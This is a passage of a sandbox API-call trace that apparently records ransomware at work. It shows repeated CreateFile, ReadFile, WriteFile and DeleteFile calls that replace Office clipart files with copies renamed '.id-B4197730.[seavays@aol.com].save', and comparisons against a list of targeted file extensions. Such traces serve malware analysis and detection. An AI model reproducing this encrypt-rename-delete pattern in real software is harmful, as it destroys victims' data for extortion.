office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0064.395] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.395] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0064.396] GetLastError () returned 0x0 [0064.396] ReadFile (in: hFile=0x394, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xc9c, lpOverlapped=0x0) returned 1 [0064.397] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xca0, lpOverlapped=0x0) returned 1 [0064.398] ReadFile (in: hFile=0x394, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.398] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0064.398] SetEndOfFile (hFile=0x384) returned 1 [0064.398] CloseHandle (hObject=0x384) returned 1 [0064.400] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.400] SetEndOfFile (hFile=0x394) returned 1 [0064.401] CloseHandle (hObject=0x394) returned 1 [0064.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0064.401] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 1 [0064.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0064.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0064.401] lstrlenW (lpString=".doc") returned 4 [0064.401] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.401] lstrlenW (lpString=".docx") returned 5 [0064.401] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.401] lstrlenW (lpString=".pdf") returned 4 [0064.401] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.401] lstrlenW (lpString=".xls") returned 4 [0064.401] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.401] lstrlenW (lpString=".xlsx") returned 5 [0064.402] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.402] lstrlenW (lpString=".ppt") returned 4 [0064.402] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0064.402] lstrlenW (lpString=".zip") returned 4 [0064.402] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.402] lstrlenW (lpString=".rar") returned 4 [0064.402] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.402] lstrlenW (lpString=".bz2") returned 4 [0064.402] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.402] lstrlenW (lpString=".7z") returned 3 [0064.402] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0064.402] lstrlenW (lpString=".dbf") returned 4 [0064.402] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0064.402] lstrlenW (lpString=".1cd") returned 4 [0064.402] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0064.402] lstrlenW (lpString=".jpg") returned 4 [0064.402] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0064.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0064.403] lstrlenW (lpString=".doc") returned 4 [0064.403] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.403] lstrlenW (lpString=".docx") returned 5 [0064.403] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.403] lstrlenW (lpString=".pdf") returned 4 [0064.403] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.403] lstrlenW (lpString=".xls") returned 4 [0064.403] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.403] lstrlenW (lpString=".xlsx") returned 5 [0064.403] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.403] lstrlenW (lpString=".ppt") returned 4 [0064.403] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0064.403] lstrlenW (lpString=".zip") returned 4 [0064.403] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.403] lstrlenW (lpString=".rar") returned 4 [0064.403] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.403] lstrlenW (lpString=".bz2") returned 4 [0064.403] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.403] lstrlenW (lpString=".7z") returned 3 [0064.403] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0064.403] lstrlenW (lpString=".dbf") returned 4 [0064.403] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0064.404] lstrlenW (lpString=".1cd") returned 4 [0064.404] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0064.404] lstrlenW (lpString=".jpg") returned 4 [0064.404] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.404] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0064.404] lstrlenW (lpString="AN04369_.WMF") returned 12 [0064.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0064.405] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=4808) returned 1 [0064.405] CloseHandle (hObject=0x394) returned 1 [0064.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 0x220 [0064.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0064.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0064.405] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.405] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0064.459] GetLastError () returned 0x0 [0064.459] ReadFile (in: hFile=0x394, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x12c8, lpOverlapped=0x0) returned 1 [0064.461] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x12d0, lpOverlapped=0x0) returned 1 [0064.462] ReadFile (in: hFile=0x394, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.462] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0064.462] SetEndOfFile (hFile=0x384) returned 1 [0064.467] CloseHandle (hObject=0x384) returned 1 [0064.468] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.468] SetEndOfFile (hFile=0x394) returned 1 [0064.469] CloseHandle (hObject=0x394) returned 1 [0064.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0064.470] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 1 [0064.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0064.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0064.470] lstrlenW (lpString=".doc") returned 4 [0064.470] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.470] lstrlenW (lpString=".docx") returned 5 [0064.470] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.470] lstrlenW (lpString=".pdf") returned 4 [0064.470] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.470] lstrlenW (lpString=".xls") returned 4 [0064.470] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.470] lstrlenW (lpString=".xlsx") returned 5 [0064.470] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.470] lstrlenW (lpString=".ppt") returned 4 [0064.470] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0064.470] lstrlenW (lpString=".zip") returned 4 [0064.470] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.470] lstrlenW (lpString=".rar") returned 4 [0064.470] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.471] lstrlenW (lpString=".bz2") returned 4 [0064.471] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.471] lstrlenW (lpString=".7z") returned 3 [0064.471] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0064.471] lstrlenW (lpString=".dbf") returned 4 [0064.471] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0064.471] lstrlenW (lpString=".1cd") returned 4 [0064.471] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0064.471] lstrlenW (lpString=".jpg") returned 4 [0064.471] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0064.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0064.471] lstrlenW (lpString=".doc") returned 4 [0064.471] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.471] lstrlenW (lpString=".docx") returned 5 [0064.471] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.471] lstrlenW (lpString=".pdf") returned 4 [0064.471] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.471] lstrlenW (lpString=".xls") returned 4 [0064.471] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.471] lstrlenW (lpString=".xlsx") returned 5 [0064.471] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.471] lstrlenW (lpString=".ppt") returned 4 [0064.471] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0064.471] lstrlenW (lpString=".zip") returned 4 [0064.472] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.472] lstrlenW (lpString=".rar") returned 4 [0064.472] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.472] lstrlenW (lpString=".bz2") returned 4 [0064.472] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.472] lstrlenW (lpString=".7z") returned 3 [0064.472] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0064.472] lstrlenW (lpString=".dbf") returned 4 [0064.472] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0064.472] lstrlenW (lpString=".1cd") returned 4 [0064.472] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0064.472] lstrlenW (lpString=".jpg") returned 4 [0064.472] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.472] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0064.472] lstrlenW (lpString="AN04384_.WMF") returned 12 [0064.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0064.473] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=4996) returned 1 [0064.473] CloseHandle (hObject=0x394) returned 1 [0064.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 0x220 [0064.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0064.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0064.474] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.474] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0064.474] GetLastError () returned 0x0 [0064.474] ReadFile (in: hFile=0x394, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x1384, lpOverlapped=0x0) returned 1 [0064.946] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x1390, lpOverlapped=0x0) returned 1 [0064.947] ReadFile (in: hFile=0x394, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.947] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0064.947] SetEndOfFile (hFile=0x384) returned 1 [0064.947] CloseHandle (hObject=0x384) returned 1 [0064.948] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.948] SetEndOfFile (hFile=0x394) returned 1 [0064.949] CloseHandle (hObject=0x394) returned 1 [0064.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0064.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 1 [0064.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0064.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0064.950] lstrlenW (lpString=".doc") returned 4 [0064.950] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.950] lstrlenW (lpString=".docx") returned 5 [0064.950] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.950] lstrlenW (lpString=".pdf") returned 4 [0064.950] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.950] lstrlenW (lpString=".xls") returned 4 [0064.950] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.950] lstrlenW (lpString=".xlsx") returned 5 [0064.950] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.950] lstrlenW (lpString=".ppt") returned 4 [0064.950] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0064.950] lstrlenW (lpString=".zip") returned 4 [0064.950] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.951] lstrlenW (lpString=".rar") returned 4 [0064.951] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.951] lstrlenW (lpString=".bz2") returned 4 [0064.951] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.951] lstrlenW (lpString=".7z") returned 3 [0064.951] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0064.951] lstrlenW (lpString=".dbf") returned 4 [0064.951] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0064.951] lstrlenW (lpString=".1cd") returned 4 [0064.951] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0064.951] lstrlenW (lpString=".jpg") returned 4 [0064.951] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0064.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0064.951] lstrlenW (lpString=".doc") returned 4 [0064.951] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.951] lstrlenW (lpString=".docx") returned 5 [0064.951] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.951] lstrlenW (lpString=".pdf") returned 4 [0064.951] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.951] lstrlenW (lpString=".xls") returned 4 [0064.951] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.951] lstrlenW (lpString=".xlsx") returned 5 [0064.952] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.952] lstrlenW (lpString=".ppt") returned 4 [0064.952] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0064.952] lstrlenW (lpString=".zip") returned 4 [0064.952] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.952] lstrlenW (lpString=".rar") returned 4 [0064.952] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.952] lstrlenW (lpString=".bz2") returned 4 [0064.952] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.952] lstrlenW (lpString=".7z") returned 3 [0064.952] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0064.952] lstrlenW (lpString=".dbf") returned 4 [0064.952] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0064.952] lstrlenW (lpString=".1cd") returned 4 [0064.952] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0064.952] lstrlenW (lpString=".jpg") returned 4 [0064.952] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.959] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0064.960] lstrlenW (lpString="BD07831_.WMF") returned 12 [0064.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0064.960] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=4066) returned 1 [0064.960] CloseHandle (hObject=0x394) returned 1 [0064.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x220 [0064.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0064.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0064.960] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.960] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft 